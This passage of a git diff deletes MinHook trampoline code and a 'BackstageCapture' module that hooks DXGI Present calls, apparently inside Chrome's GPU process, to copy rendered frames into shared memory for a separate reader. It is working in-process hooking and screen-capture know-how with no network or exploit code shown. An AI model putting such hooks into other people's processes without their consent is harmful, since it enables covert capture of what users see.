- ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
-#if defined(_M_X64) || defined(__x86_64__)
- call.address = dest;
-#else
- call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
-#endif
- pCopySrc = &call;
- copySize = sizeof(call);
- }
- else if ((hs.opcode & 0xFD) == 0xE9)
- {
- // Direct relative JMP (EB or E9)
- ULONG_PTR dest = pOldInst + hs.len;
-
- if (hs.opcode == 0xEB) // isShort jmp
- dest += (INT8)hs.imm.imm8;
- else
- dest += (INT32)hs.imm.imm32;
-
- // Simply copy an internal jump.
- if ((ULONG_PTR)ct->pTarget <= dest
- && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
- {
- if (jmpDest < dest)
- jmpDest = dest;
- }
- else
- {
-#if defined(_M_X64) || defined(__x86_64__)
- jmp.address = dest;
-#else
- jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
-#endif
- pCopySrc = &jmp;
- copySize = sizeof(jmp);
-
- // Exit the function if it is not in the branch.
- finished = (pOldInst >= jmpDest);
- }
- }
- else if ((hs.opcode & 0xF0) == 0x70
- || (hs.opcode & 0xFC) == 0xE0
- || (hs.opcode2 & 0xF0) == 0x80)
- {
- // Direct relative Jcc
- ULONG_PTR dest = pOldInst + hs.len;
-
- if ((hs.opcode & 0xF0) == 0x70 // Jcc
- || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
- dest += (INT8)hs.imm.imm8;
- else
- dest += (INT32)hs.imm.imm32;
-
- // Simply copy an internal jump.
- if ((ULONG_PTR)ct->pTarget <= dest
- && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
- {
- if (jmpDest < dest)
- jmpDest = dest;
- }
- else if ((hs.opcode & 0xFC) == 0xE0)
- {
- // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
- return FALSE;
- }
- else
- {
- UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
-#if defined(_M_X64) || defined(__x86_64__)
- // Invert the condition in x64 mode to simplify the conditional jump logic.
- jcc.opcode = 0x71 ^ cond;
- jcc.address = dest;
-#else
- jcc.opcode1 = 0x80 | cond;
- jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
-#endif
- pCopySrc = &jcc;
- copySize = sizeof(jcc);
- }
- }
- else if ((hs.opcode & 0xFE) == 0xC2)
- {
- // RET (C2 or C3)
-
- // Complete the function if not in a branch.
- finished = (pOldInst >= jmpDest);
- }
-
- // Can't alter the instruction length in a branch.
- if (pOldInst < jmpDest && copySize != hs.len)
- return FALSE;
-
- // Trampoline function is too large.
- if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
- return FALSE;
-
- // Trampoline function has too many instructions.
- if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
- return FALSE;
-
- ct->oldIPs[ct->nIP] = oldPos;
- ct->newIPs[ct->nIP] = newPos;
- ct->nIP++;
-
- // Avoid using memcpy to reduce the footprint.
-#ifndef ALLOW_INTRINSICS
- memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
-#else
- __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
-#endif
- newPos += copySize;
- oldPos += hs.len;
- } while (!finished);
-
- // Is there enough place for a long jump?
- if (oldPos < sizeof(JMP_REL)
- && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
- {
- // Is there enough place for a short jump?
- if (oldPos < sizeof(JMP_REL_SHORT)
- && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
- {
- return FALSE;
- }
-
- // Can we place the long jump above the function?
- if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
- return FALSE;
-
- if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
- return FALSE;
-
- ct->patchAbove = TRUE;
- }
-
-#if defined(_M_X64) || defined(__x86_64__)
- // Create a relay function.
- jmp.address = (ULONG_PTR)ct->pDetour;
-
- ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
- memcpy(ct->pRelay, &jmp, sizeof(jmp));
-#endif
-
- return TRUE;
-}
diff --git a/BackstageCapture/Minhook/src/trampoline.h b/BackstageCapture/Minhook/src/trampoline.h
deleted file mode 100644
index f7efb36..0000000
--- a/BackstageCapture/Minhook/src/trampoline.h
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-#pragma pack(push, 1)
-
-// Structs for writing x86/x64 instructions.
-
-// 8-bit relative jump.
-typedef struct _JMP_REL_SHORT
-{
- UINT8 opcode; // EB xx: JMP +2+xx
- INT8 operand; // Relative destination address
-} JMP_REL_SHORT, *PJMP_REL_SHORT;
-
-// 32-bit direct relative jump/call.
-typedef struct _JMP_REL
-{
- UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
- INT32 operand; // Relative destination address
-} JMP_REL, *PJMP_REL, CALL_REL;
-
-// 64-bit indirect absolute jump.
-typedef struct _JMP_ABS
-{
- UINT8 opcode0; // FF25 00000000: JMP [+6]
- UINT8 opcode1;
- UINT32 dummy;
- UINT64 address; // Absolute destination address
-} JMP_ABS, *PJMP_ABS;
-
-// 64-bit indirect absolute call.
-typedef struct _CALL_ABS
-{
- UINT8 opcode0; // FF15 00000002: CALL [+6]
- UINT8 opcode1;
- UINT32 dummy0;
- UINT8 dummy1; // EB 08: JMP +10
- UINT8 dummy2;
- UINT64 address; // Absolute destination address
-} CALL_ABS;
-
-// 32-bit direct relative conditional jumps.
-typedef struct _JCC_REL
-{
- UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
- UINT8 opcode1;
- INT32 operand; // Relative destination address
-} JCC_REL;
-
-// 64bit indirect absolute conditional jumps that x64 lacks.
-typedef struct _JCC_ABS
-{
- UINT8 opcode; // 7* 0E: J** +16
- UINT8 dummy0;
- UINT8 dummy1; // FF25 00000000: JMP [+6]
- UINT8 dummy2;
- UINT32 dummy3;
- UINT64 address; // Absolute destination address
-} JCC_ABS;
-
-#pragma pack(pop)
-
-typedef struct _TRAMPOLINE
-{
- LPVOID pTarget; // [In] Address of the target function.
- LPVOID pDetour; // [In] Address of the detour function.
- LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
-
-#if defined(_M_X64) || defined(__x86_64__)
- LPVOID pRelay; // [Out] Address of the relay function.
-#endif
- BOOL patchAbove; // [Out] Should use the hot patch area?
- UINT nIP; // [Out] Number of the instruction boundaries.
- UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
- UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
-} TRAMPOLINE, *PTRAMPOLINE;
-
-BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
diff --git a/BackstageCapture/src/DXGICapture.c b/BackstageCapture/src/DXGICapture.c
deleted file mode 100644
index 396631b..0000000
--- a/BackstageCapture/src/DXGICapture.c
+++ /dev/null
@@ -1,630 +0,0 @@
-//===============================================================================================//
-// BackstageCapture — DXGI SwapChain::Present hook implementation.
-//
-// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
-// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
-//
-// Strategy:
-// 1. Create a temporary D3D11 device + swapchain to get the vtable address
-// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
-// 2. Hook both via MinHook.
-// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
-// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
-// Map it, and write the BGRA pixels into the shared memory section.
-// 4. Signal the named event so the Go reader knows a frame is ready.
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include
-#include
-#include
-#include
-#include
-
-#include "MinHook.h"
-#include "DXGICapture.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-//-----------------------------------------------------------------------------------------------//
-// Forward declarations
-//-----------------------------------------------------------------------------------------------//
-typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
-typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
-typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
-
-static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
-static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
-static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
-
-//-----------------------------------------------------------------------------------------------//
-// Globals
-//-----------------------------------------------------------------------------------------------//
-static PFN_Present g_OrigPresent = NULL;
-static PFN_Present1 g_OrigPresent1 = NULL;
-static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
-
-// Staging resources — double-buffered to avoid blocking Map calls
-static ID3D11Device* g_Device = NULL;
-static ID3D11DeviceContext* g_Context = NULL;
-static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
-static UINT g_StagingW = 0;
-static UINT g_StagingH = 0;
-static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
-static UINT g_WriteIdx = 0; // CopyResource target index
-static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
-
-// Shared memory
-static HANDLE g_ShmHandle = NULL;
-static void* g_ShmView = NULL;
-static SIZE_T g_ShmSize = 0;
-static HANDLE g_FrameEvent = NULL;
-static UINT64 g_FrameSeq = 0;
-
-// Frequency for timestamps
-static LARGE_INTEGER g_PerfFreq;
-
-// Rate limiting — don't copy more than ~60 fps worth of frames
-static LARGE_INTEGER g_LastFrameTime;
-static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
-
-// Critical section for thread safety
-static CRITICAL_SECTION g_Lock;
-static BOOL g_LockInitialized = FALSE;
-
-// Primary swap chain tracking — only capture the largest one in the GPU process
-static IDXGISwapChain* g_PrimarySwapChain = NULL;
-static UINT g_PrimaryArea = 0;
-static UINT g_PrimaryResetCounter = 0;
-
-// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
-#define MIN_CAPTURE_WIDTH 128
-#define MIN_CAPTURE_HEIGHT 128
-#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
-
-//-----------------------------------------------------------------------------------------------//
-// Helpers
-//-----------------------------------------------------------------------------------------------//
-#ifndef ENABLE_DEBUG_LOGGING
-#define ENABLE_DEBUG_LOGGING 1
-#endif
-
-static void DebugLog(const char* fmt, ...) {
-#if ENABLE_DEBUG_LOGGING
- char buf[1024];
- va_list args;
- va_start(args, fmt);
- vsnprintf(buf, sizeof(buf), fmt, args);
- va_end(args);
- OutputDebugStringA(buf);
-#else
- (void)fmt;
-#endif
-}
-
-static UINT64 GetTimestampNs(void) {
- LARGE_INTEGER now;
- QueryPerformanceCounter(&now);
- return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
-}
-
-static void BuildShmName(char* out, size_t outLen) {
- DWORD pid = GetCurrentProcessId();
- snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid);
-}
-
-static void BuildEventName(char* out, size_t outLen) {
- DWORD pid = GetCurrentProcessId();
- snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid);
-}
-
-//-----------------------------------------------------------------------------------------------//
-// Shared memory management
-//-----------------------------------------------------------------------------------------------//
-static BOOL EnsureSharedMemory(UINT width, UINT height) {
- UINT stride = width * 4;
- SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height;
-
- if (g_ShmView && g_ShmSize >= needed) {
- return TRUE;
- }
-
- if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
- if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
- g_ShmSize = 0;
-
- char shmName[128];
- BuildShmName(shmName, sizeof(shmName));
-
- wchar_t wShmName[128];
- MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
-
- DWORD sizeHigh = (DWORD)(needed >> 32);
- DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
-
- g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
- if (!g_ShmHandle) {
- DebugLog("[BackstageCapture] CreateFileMappingW failed: %lu\n", GetLastError());
- return FALSE;
- }
-
- g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
- if (!g_ShmView) {
- DebugLog("[BackstageCapture] MapViewOfFile failed: %lu\n", GetLastError());
- CloseHandle(g_ShmHandle);
- g_ShmHandle = NULL;
- return FALSE;
- }
-
- g_ShmSize = needed;
-
- if (!g_FrameEvent) {
- char evtName[128];
- BuildEventName(evtName, sizeof(evtName));
- wchar_t wEvtName[128];
- MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
- g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
- }
-
- DebugLog("[BackstageCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
- return TRUE;
-}
-
-//-----------------------------------------------------------------------------------------------//
-// Staging texture management (double-buffered)
-//-----------------------------------------------------------------------------------------------//
-static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
- if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
- return TRUE;
- }
-
- if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
- if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
- g_HasPrevFrame = FALSE;
- g_WriteIdx = 0;
-
- // Normalise typeless formats to their UNORM equivalents for staging
- DXGI_FORMAT stageFmt = fmt;
- switch (fmt) {
- case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
- case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
- case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
- case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
- default: break;
- }
-
- D3D11_TEXTURE2D_DESC desc;
- ZeroMemory(&desc, sizeof(desc));
- desc.Width = width;
- desc.Height = height;
- desc.MipLevels = 1;
- desc.ArraySize = 1;
- desc.Format = stageFmt;
- desc.SampleDesc.Count = 1;
- desc.SampleDesc.Quality = 0;
- desc.Usage = D3D11_USAGE_STAGING;
- desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
- desc.BindFlags = 0;
- desc.MiscFlags = 0;
-
- HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
- if (FAILED(hr)) {
- DebugLog("[BackstageCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
- return FALSE;
- }
- hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
- if (FAILED(hr)) {
- DebugLog("[BackstageCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
- g_Staging[0]->Release(); g_Staging[0] = NULL;
- return FALSE;
- }
-
- g_StagingW = width;
- g_StagingH = height;
- g_StagingFmt = fmt;
- DebugLog("[BackstageCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
- return TRUE;
-}
-
-// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
-static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
- switch (fmt) {
- case DXGI_FORMAT_B8G8R8A8_UNORM:
- case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
- case DXGI_FORMAT_B8G8R8A8_TYPELESS:
- case DXGI_FORMAT_R8G8B8A8_UNORM:
- case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
- case DXGI_FORMAT_R8G8B8A8_TYPELESS:
- return TRUE;
- default:
- return FALSE;
- }
-}
-
-//-----------------------------------------------------------------------------------------------//
-// Core frame capture — called from Present hooks (SEH-protected)
-//-----------------------------------------------------------------------------------------------//
-static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
- // Rate limit
- LARGE_INTEGER now;
- QueryPerformanceCounter(&now);
- LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
- if (elapsedUs < g_MinFrameIntervalUs) {
- return;
- }
- g_LastFrameTime = now;
-
- // Get the backbuffer
- ID3D11Texture2D* backbuffer = NULL;
- HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
- if (FAILED(hr) || !backbuffer) {
- return;
- }
-
- // Get device/context from the backbuffer if not cached
- if (!g_Device) {
- ((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
- if (g_Device) {
- g_Device->GetImmediateContext(&g_Context);
- }
- }
-
- if (!g_Device || !g_Context) {
- backbuffer->Release();
- return;
- }
-
- D3D11_TEXTURE2D_DESC bbDesc;
- backbuffer->GetDesc(&bbDesc);
-
- UINT w = bbDesc.Width;
- UINT h = bbDesc.Height;
-
- if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) {
- backbuffer->Release();
- return;
- }
-
- // Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
- if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
- backbuffer->Release();
- return;
- }
-
- // Track the primary (largest) swap chain — Chrome GPU process serves many
- UINT area = w * h;
- g_PrimaryResetCounter++;
- if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
- g_PrimarySwapChain = NULL;
- g_PrimaryArea = 0;
- g_PrimaryResetCounter = 0;
- }
- if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
- g_PrimarySwapChain = pSwapChain;
- if (area > g_PrimaryArea) g_PrimaryArea = area;
- } else if (area > g_PrimaryArea) {
- g_PrimarySwapChain = pSwapChain;
- g_PrimaryArea = area;
- } else {
- backbuffer->Release();
- return;
- }
-
- // Only capture 32bpp BGRA/RGBA formats we can handle
- if (!IsCopyable32bpp(bbDesc.Format)) {
- backbuffer->Release();
- return;
- }
-
- if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
- backbuffer->Release();
- return;
- }
-
- if (!EnsureSharedMemory(w, h)) {
- backbuffer->Release();
- return;
- }
-
- UINT writeIdx = g_WriteIdx;
- UINT readIdx = 1 - writeIdx;
-
- // Copy backbuffer to the write staging texture (async GPU op, returns immediately)
- if (bbDesc.SampleDesc.Count > 1) {
- D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
- resolveDesc.SampleDesc.Count = 1;
- resolveDesc.SampleDesc.Quality = 0;
- resolveDesc.Usage = D3D11_USAGE_DEFAULT;
- resolveDesc.BindFlags = 0;
- resolveDesc.CPUAccessFlags = 0;
- resolveDesc.MiscFlags = 0;
-
- ID3D11Texture2D* resolved = NULL;
- hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
- if (SUCCEEDED(hr) && resolved) {
- g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
- g_Context->CopyResource(g_Staging[writeIdx], resolved);
- resolved->Release();
- } else {
- backbuffer->Release();
- return;
- }
- } else {
- g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
- }
-
- backbuffer->Release();
-
- // Flip staging index for next frame
- g_WriteIdx = readIdx;
-
- // On first frame, nothing to read yet
- if (!g_HasPrevFrame) {
- g_HasPrevFrame = TRUE;
- return;
- }
-
- // Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
- D3D11_MAPPED_SUBRESOURCE mapped;
- hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
- if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
- return; // GPU hasn't finished the previous copy — skip
- }
- if (FAILED(hr)) {
- DebugLog("[BackstageCapture] Map failed: 0x%08x\n", hr);
- return;
- }
-
- UINT dstStride = w * 4;
- UINT srcPitch = mapped.RowPitch;
- BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader);
- BYTE* src = (BYTE*)mapped.pData;
-
- for (UINT y = 0; y < h; y++) {
- memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
- }
-
- g_Context->Unmap(g_Staging[readIdx], 0);
-
- // Write header (AFTER pixel data + barrier so reader sees consistent data)
- g_FrameSeq++;
- backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView;
- hdr->magic = backstage_FRAME_MAGIC;
- hdr->version = backstage_FRAME_VERSION;
- hdr->width = w;
- hdr->height = h;
- hdr->stride = dstStride;
- hdr->format = (UINT32)bbDesc.Format;
- hdr->frameSeq = g_FrameSeq;
- hdr->timestampNs = GetTimestampNs();
- hdr->pid = GetCurrentProcessId();
- hdr->reserved = 0;
-
- MemoryBarrier();
-
- if (g_FrameEvent) {
- SetEvent(g_FrameEvent);
- }
-}
-
-static void CaptureFrame(IDXGISwapChain* pSwapChain) {
- if (!g_LockInitialized) return;
-
- if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
- __try {
- CaptureFrameInner(pSwapChain);
- }
- __except (EXCEPTION_EXECUTE_HANDLER) {
- DebugLog("[BackstageCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
- GetExceptionCode());
- }
- LeaveCriticalSection(&g_Lock);
-}
-
-//-----------------------------------------------------------------------------------------------//
-// Hooked functions
-//-----------------------------------------------------------------------------------------------//
-static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
- CaptureFrame(pSwapChain);
- return g_OrigPresent(pSwapChain, SyncInterval, Flags);
-}
-
-static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
- CaptureFrame((IDXGISwapChain*)pSwapChain);
- return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
-}
-
-static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
- EnterCriticalSection(&g_Lock);
- if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
- if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
- g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
- g_HasPrevFrame = FALSE; g_WriteIdx = 0;
- g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
- if (g_Context) { g_Context->Release(); g_Context = NULL; }
- if (g_Device) { g_Device->Release(); g_Device = NULL; }
- LeaveCriticalSection(&g_Lock);
-
- return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
-}
-
-//-----------------------------------------------------------------------------------------------//
-// vtable discovery — create a dummy swapchain to get Present address
-//-----------------------------------------------------------------------------------------------//
-static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
- *ppPresent = NULL;
- *ppPresent1 = NULL;
- *ppResizeBuffers = NULL;
-
- HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
- if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
- if (!hD3D11) {
- DebugLog("[BackstageCapture] d3d11.dll not available\n");
- return FALSE;
- }
-
- typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
- IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
- UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
- D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
-
- PFN_D3D11CreateDeviceAndSwapChain pCreate =
- (PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
- if (!pCreate) {
- DebugLog("[BackstageCapture] D3D11CreateDeviceAndSwapChain not found\n");
- return FALSE;
- }
-
- HWND hWnd = GetDesktopWindow();
-
- DXGI_SWAP_CHAIN_DESC scd;
- ZeroMemory(&scd, sizeof(scd));
- scd.BufferCount = 1;
- scd.BufferDesc.Width = 2;
- scd.BufferDesc.Height = 2;
- scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
- scd.BufferDesc.RefreshRate.Numerator = 60;
- scd.BufferDesc.RefreshRate.Denominator = 1;
- scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
- scd.OutputWindow = hWnd;
- scd.SampleDesc.Count = 1;
- scd.Windowed = TRUE;
- scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
-
- IDXGISwapChain* pSwapChain = NULL;
- ID3D11Device* pDevice = NULL;
- ID3D11DeviceContext* pCtx = NULL;
- D3D_FEATURE_LEVEL featureLevel;
-
- HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
- D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
-
- if (FAILED(hr) || !pSwapChain) {
- hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
- D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
- }
-
- if (FAILED(hr) || !pSwapChain) {
- DebugLog("[BackstageCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
- if (pCtx) pCtx->Release();
- if (pDevice) pDevice->Release();
- if (pSwapChain) pSwapChain->Release();
- return FALSE;
- }
-
- // Extract vtable pointers via raw vtable read
- // IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
- void** vtable = *(void***)pSwapChain;
- *ppPresent = vtable[8];
- *ppResizeBuffers = vtable[13];
-
- // Try to get Present1 from IDXGISwapChain1
- IDXGISwapChain1* pSwapChain1 = NULL;
- hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
- if (SUCCEEDED(hr) && pSwapChain1) {
- void** vtable1 = *(void***)pSwapChain1;
- // IDXGISwapChain1: Present1 is at vtable index 22
- *ppPresent1 = vtable1[22];
- pSwapChain1->Release();
- }
-
- pCtx->Release();
- pDevice->Release();
- pSwapChain->Release();
-
- DebugLog("[BackstageCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
- *ppPresent, *ppPresent1, *ppResizeBuffers);
- return TRUE;
-}
-
-//-----------------------------------------------------------------------------------------------//
-// Public API
-//-----------------------------------------------------------------------------------------------//
-void InstallDXGICapture(void) {
- QueryPerformanceFrequency(&g_PerfFreq);
- QueryPerformanceCounter(&g_LastFrameTime);
-
- InitializeCriticalSection(&g_Lock);
- g_LockInitialized = TRUE;
-
- MH_STATUS status = MH_Initialize();
- if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
- DebugLog("[BackstageCapture] MH_Initialize failed: %d\n", status);
- return;
- }
-
- void* pPresent = NULL;
- void* pPresent1 = NULL;
